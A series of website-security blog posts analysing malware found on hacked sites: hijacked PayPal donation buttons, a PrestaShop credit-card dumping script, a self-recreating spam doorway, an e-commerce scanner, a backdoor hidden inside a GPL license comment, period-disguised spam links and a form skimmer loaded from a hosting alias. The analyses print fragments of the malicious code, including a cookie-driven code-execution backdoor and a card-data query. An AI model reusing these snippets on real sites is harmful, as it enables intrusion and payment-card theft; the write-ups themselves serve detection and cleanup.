Hijacking PayPal Donations

Recently we wrote about how hackers hijacked payment process on an ecommerce site and redirected customers to a fake checkout page on a third-party site. This sort of attacks is not limited to online stores. Even non-commercial sites may be affected.

This week we cleaned a compromised site where hackers managed to upload backdoors and quite a few other malicious files. At first it looked like typical infection. But there was an interesting detail.


The site accepted donations via PayPal and the site owner noticed that the donation buttons looked broken. Further inspection revealed that the PayPal form code was partially replaced with someone else’s PayPal links.

<a href="https://www .paypal .com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=P93D6HEBBF5YQ"><div align="center"><input type="image" src="<?php echo get_bloginfo('template_directory');?>/images/donate_monthly.png" border="0" name="submit" /></div></form>

The beginning of the donation form code was replaced with the highlighted link. As you can see, this resulted in malformed HTML code - no opening <form> tag for the original form and and no closing </a> tag for the malicious PayPal link.

This site had four forms for four donation options. Each one was hijacked. And each link had individual hosted_button_id parameters: P93D6HEBBF5YQ, XU2RAC93FW7CW, HQWZ2QNHVJ7LW, 3JKHCV93PAATJ.

At the moment we started to work on the site, the PayPal links we already defunct and returned the "PayPal cannot process this transaction because of a problem with the seller's website" warnings when we tried to open them.

While this attack looks buggy in so many ways, it shows that once your site is compromised, hackers can easily hijack your donation and/or payment forms and links and re-route payments to their own accounts. If you accept any types of payments (orders, donations, etc) via your site, make sure that its integrity is not broken. Otherwise your money and money of your site visitors are at risk.

For more information about attacks that target online payments make sure to read the ecommerce security section of our blog.

Stealing Credit Card Details from PrestaShop

We wrote multiple times about various attacks on e-commerce sites that try to steal credit card details of their customers. In most cases, all such attacks need is the shortest moment when the site processes the payment details. It can be an injected JavaScript that steals your data as you enter it in the order form. Or it can be a server side script that builds itself as a middleman between the code that receives the data from user and the code that sends that data to a secure payment gateway. Note, in both of these scenarios e-commerce sites don’t even try to save the credit card information on their servers. The mere fact that they have the payment form on their own domain is enough for hackers to hijack it once they break into the site.

However, hijacking a payment form means that hackers can only steal details of ongoing payments. They have to wait for people to buy something from the compromised sites. But if hacked sites use really poor security practices and save all the payment details on their own servers, the attackers can easily steal credit card details of their customers without having to wait for new victims.

For example, in some versions of PrestaShop, there are standard tables (ps_payment_cc and ps_order_payment) for storing all credit card information (card number, expiration, card holder, etc.). Unfortunately, some PrestaShop payment modules indeed save credit card details in the database, so hackers just couldn’t help taking advantage of this.


On a hacked PrestaShop site, we found a malicious script that connected to the database and dumped credit card numbers from ps_payment_cc and ps_order_payment tables.

...$Select0= mysql_query("SELECT id_order_payment,card_number,card_brand,card_expiration FROM ps_payment_cc");$Select1= mysql_query("SELECT id_order_payment,card_number,card_brand,card_expiration FROM ps_order_payment");…while($ccv1 = mysql_fetch_assoc($Select0)){     echo "      <tr>       <td>".$ccv1['id_order_payment']."</td>        <td>".$ccv1['card_number']."</td>     <td>".$ccv1['card_brand']."</td>      <td>".$ccv1['card_expiration']."</td>   </tr>  ";}...

If you have a e-commerce site, at all costs avoid saving customer payment details on your server. Modules that send payment information to third-party payment gateways and don’t save anything locally, are a bit safer, but still they can be easily hijacked to steal ongoing payments. For small sites, the safest option is to completely outsource payment processing to payment gateways. You should only ask for the information that you need to ship the order and then redirect the customers to a trusted payment services (PayPal, Authorize.net, Stripe, etc.) where they can finish the order process.

You can find more information about e-commerce security and PCI compliance on our blog where we regularly share information about how hackers compromise online stores and what it takes to make e-commerce sites secure.

Undeletable Doorway. Kind of.

Recently we cleaned a site that had a malicious wp-page.php file at the root of the WordPress site. It was responsible for pharma spam doorways created on this site. The file was quickly located and deleted. To our surprise, when we loaded that wp-page.php in a browser to verify that the problem was resolved, the malicious content was still there. And the headers stated that it was not a cached page.

We checked the file on server - indeed it was there with a very fresh modification date. We deleted the file again and a few seconds later the file was recreated. This behavior was typical for malware that used cronjobs to reinfect sites. However, when we checked the user’s crontab, we didn’t find any suspicious cron jobs there.


We continued with a more thorough server scan and found the malicious nav.php file inside the site’s active theme. The file injected links the wp-page.php links into the legitimate site pages when they were requested either by Googlebot or Bingbot.

...$movedb = user_min_browser($_SERVER['HTTP_USER_AGENT']);$movedb2 = 'moved';if ($movedb == $movedb2){ echo '<ul>';echo '<li><a href="http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_1.'">http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_1.'</a></li>';echo '<li><a href="http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_2.'">http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_2.'</a></li>';...echo '<li><a href="http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_20.'">http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_20.'</a></li>';echo '</ul>';}

But that was not the most interesting part of the file. It was also responsible for creating the wp-page.php file. We are getting closer! Just need to figure out what executes that nav.php file, since it definitely didn’t belong to the theme.

A quick scan for nav.php revealed this code in the header.php of the same theme:

<?php include 'nav.php'; ?>

Hacker injected this line into header.php to make the malicious code executed every time any public site page is being loaded. It is mainly done to feed the spam to search engine crawlers, but it also recreates the wp-page.php on every web page load even if the file still exists, which works as a “delete protection”.

This case shows that a site cleanup is not finished when you remove the malicious files you found. After the initial cleanup you should verify that the malware is gone and then continue monitoring the site, because you might have missed some backdoors, cron jobs or security holes that will help hackers reinfect your site. This may happen within seconds as we described here, or it may take days before the malware returns. Only a reliable continuous security monitoring will help you verify that the malware is gone for good or will notify you if your site gets reinfected so that you can quickly mitigate the problem and investigate why the original cleanup was not enough to prevent reinfections.

Malicious ShopSearcher Script

We see a strong trend in hacking ecommerce sites in order to hijack payment process and steal customers credit card details. During the last couple of years, we wrote multiple times about attacks that target Magento, OpenCart, PrestaShop, Woo Commerce and other ecommerce platforms.

Recently we found one more proof of increased attention to ecommerce sites from hackers. On one hacked WordPress site, among other uploaded backdoors, we found quite a big script (>600 lines of code) script whose only purpose was to scan the compromised server for online shop sites


$start_from = ReqParamPost('start');$last       = ReqParamPost('last');$sca = new ShopSearcher( AbsDir(), 10, $start_from, $last, 9.0, 25 );$ret = $sca->Scan();echo MakeResponseStr($ret);

This script scans the server account for file patterns of known ecommerce platforms and then displays paths and types of the found online stores. The current version of the script detects the following 11 platforms:

  • 1. OpenCart
  • 2. osCommerce
  • 3. Magento
  • 4. PrestaShop
  • 5. ZenCart
  • 6. CS-Cart
  • 7. WooCommerce
  • 8. WP Marketplace plugin
  • 9. X-Cart
  • 10. Interspire Shopping Cart
  • 11. WP Checkout plugin

Interesting enough, for Woo Commerce sites this script also checks the number of registered users and if the number is lower than 200, the site doesn’t make it in the list of found ecommerce sites.

$nu = WPDB_QueryNumUsers($fn_wp_config);            if ( $nu >= 200 ){    $this->mFoundShit []= array(6, $pAbsFile);}else{    LogAdd("Ignoring WOO-COMMERCE.. Not enough users ($nu)");}

If you own an ecommerce site, the site security should be one of your priorities. If it is hacked, virtually nothing can stop hackers from stealing your customer’s payment details (especially if you hast payment forms on your own site). We always advised against hosting different sites under the same hosting account as this setup leads to infection of all the sites if only one of them has a security hole. This ShopSearcher script once again proves that you should isolate your ecommerce site from your rest sites. Proper isolation will reduce the attack surface and even if the site gets hacked, the subsequent cleanup and hardening will be much easier.

Straightforward Backdoor Installer

Malware uses encryption, obfuscation and other tricks to prevent its detection so that the compromised sites stay infected for as long as possible. Quite often it’s not easy to spot a malicious code even if you see it, especially if you are not a professional programmer or security analysts.

But sometimes, the malware is very straightforward. For example, we found this backdoor installer in file called robots.php in one WordPress theme. It doesn’t use any encryption, has properly indented code and very clear descriptive variable name and comments. You shouldn’t think twice when you see such a code:

class Searcher
{
    private $backdoor;
...
    private $backdoorName = 'gpl_license.php';
...
    public function __construct($backdoor)
    {
        $this->backdoor = $backdoor;
    }
...
    $this->chooseDirsForBackdoor();
    while ($this->hasUnconfirmedBackdoors()) {
        $this->addBackdoors();
        $this->checkBackdoors();
    };
...

However this file is only used at early stages of infections when attackers just got access to a vulnerable website and managed to upload this file to the server. Then they use this backdoor installer to create multiple backdoors (gpl_license.php in this case) in various directories. That gpl_license.php backdoor is much more obscure and you might even confuse it with a real license file as if you quickly scroll it, you will only see a real GNU GPL license

<?php /*            GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007
...

Only if you carefully inspect the file you will notice that It’s actually a PHP file and the license text is inside the multiline comment. However, inside the license text, there are two short comment breaks that contain PHP code that allows to execute arbitrary code passed in HTTP cookies:

...
giving you */extract($_COOKIE);/* copy, distribute and/or modify it.
...
which are not */@$F&&@$F($A,$B);/*.  For example, Corresponding Source
...

These two backdoors that use completely different approaches to obfuscation are part of the same attack, which proves that you can never tell what a typical backdoor is and what exactly webmasters should be searching for when we say that they should find and remove all backdoors. Actually, backdoors are the most versatile type of website malware. We have more than a thousand samples of different backdoors and still we find new variations every day. Probably, the most efficient way to detect backdoors is a file integrity monitoring that will report all added/modified files regardless of the code that was added. If you don’t use such a monitoring and want make sure you didn’t miss any backdoors on your server, you can have us scan your site for thousands of different malware patterns.

Hiding Links Behind Punctuation Marks

In black hat SEO schemes, some links don't have to have descriptive anchor keywords. For example, if their only purpose is help search engine crawlers discover newly created doorways. But even in such cases, the links should be hidden from webmasters of the hacked sites where they are placed on.

Recently, our malware analyst 12 notified the labs about an increased number of cases of database spam infections where (mostly) pharma links were injected inside the legit blog posts. What's interesting about those infections is how hackers make the links invisible. In this case, they didn't add any invisible blocks, didn't add any additional text at all. They just made links out of some parts of existing blog content. Of course they realized that underlines and changing mouse would reveal that some words unexpectedly became clickable. To minimize the exposure, hackers 1). used the text-decoration:none style to get rid of underlines, 2). used the text parts with smallest footprints - periods at the end of sentences.

... some legitimate text<a style="text-decoration:none" href="/index.php?w=coversyl-online-bestellen-legal">.</a>

Such links are virtually invisible to human visitors and at the same time when search engines crawl the compromised sites, they discover links to spammy doorways (e.g http://infectedwebsite .com/index.php?w=coversyl-online-bestellen-legal in this particular case).

This trick is smart but it may only fool people who rely on visual web page inspection only. To security scanners like SiteCheck or Unmask Parasites such period-links are as visible as any other types of links so the infection gets easily detected.

Host’s Alternative Domain Names May Hide Malware

To make malicious injections look less suspicious, hackers like to use domains that look credible. It may be some typo domain like google-analystisc[.]com instead of google-analytics.com, or correct domain names under a different TLDs, e.g.: ads.googleadservices[.]at or googleads.g.doubleclick[.]cn.com.

Sometimes they hide their scripts and iframes befind shortened URL. Other times they upload malicious content to public services like Pastebin.

This time we discovered a script injection that used site\'s alternative domain name provided by its host for free to their clients. In this case the malicious script was placed on a hacked site hosted on a Network Solutions\' server. So instead of using the real domain name, which could alert the webmaster of the hacked site when the domain gets blacklisted, hackers used its alternative 0055d7b.netsolhost[.]com address.

We found this code injected into multiple design/head/includes rows (different scopes) of the core_config_data table in the Magento database:

<script src="//0055d7b . netsolhost[.]com/Blog/lib2/js/js.js"> </script>

The script looks like coming from some Network Solutions CDN. However, it\'s a malicious script on a site where everything below /Blog was created by hackers (e.g. you can find a PHProxy script under Blog/lib2/ - the tool that hackers use to make anonymous requests to third-party sites, e.g. access backdoors). The js.js script itself adds extra handlers that intercept all data entered into all HTML forms on the infected Magento site and send them to a PHP script on the same Networks Solution server 0055d7b .netsolhost[.]com/Blog/lib2/js/main.php. Technically, the script is used to steal credit card and other sensitive payment details from order forms on e-commerce sites (although it can be used to steal credentials from login forms too).

Don\'t trust third-party content just because it uses a reputable domain name. Always doublecheck everything that you don\'t recognize or don\'t believe should be on your site. Test your database and files on server for integrity, and monitor your site for security issues.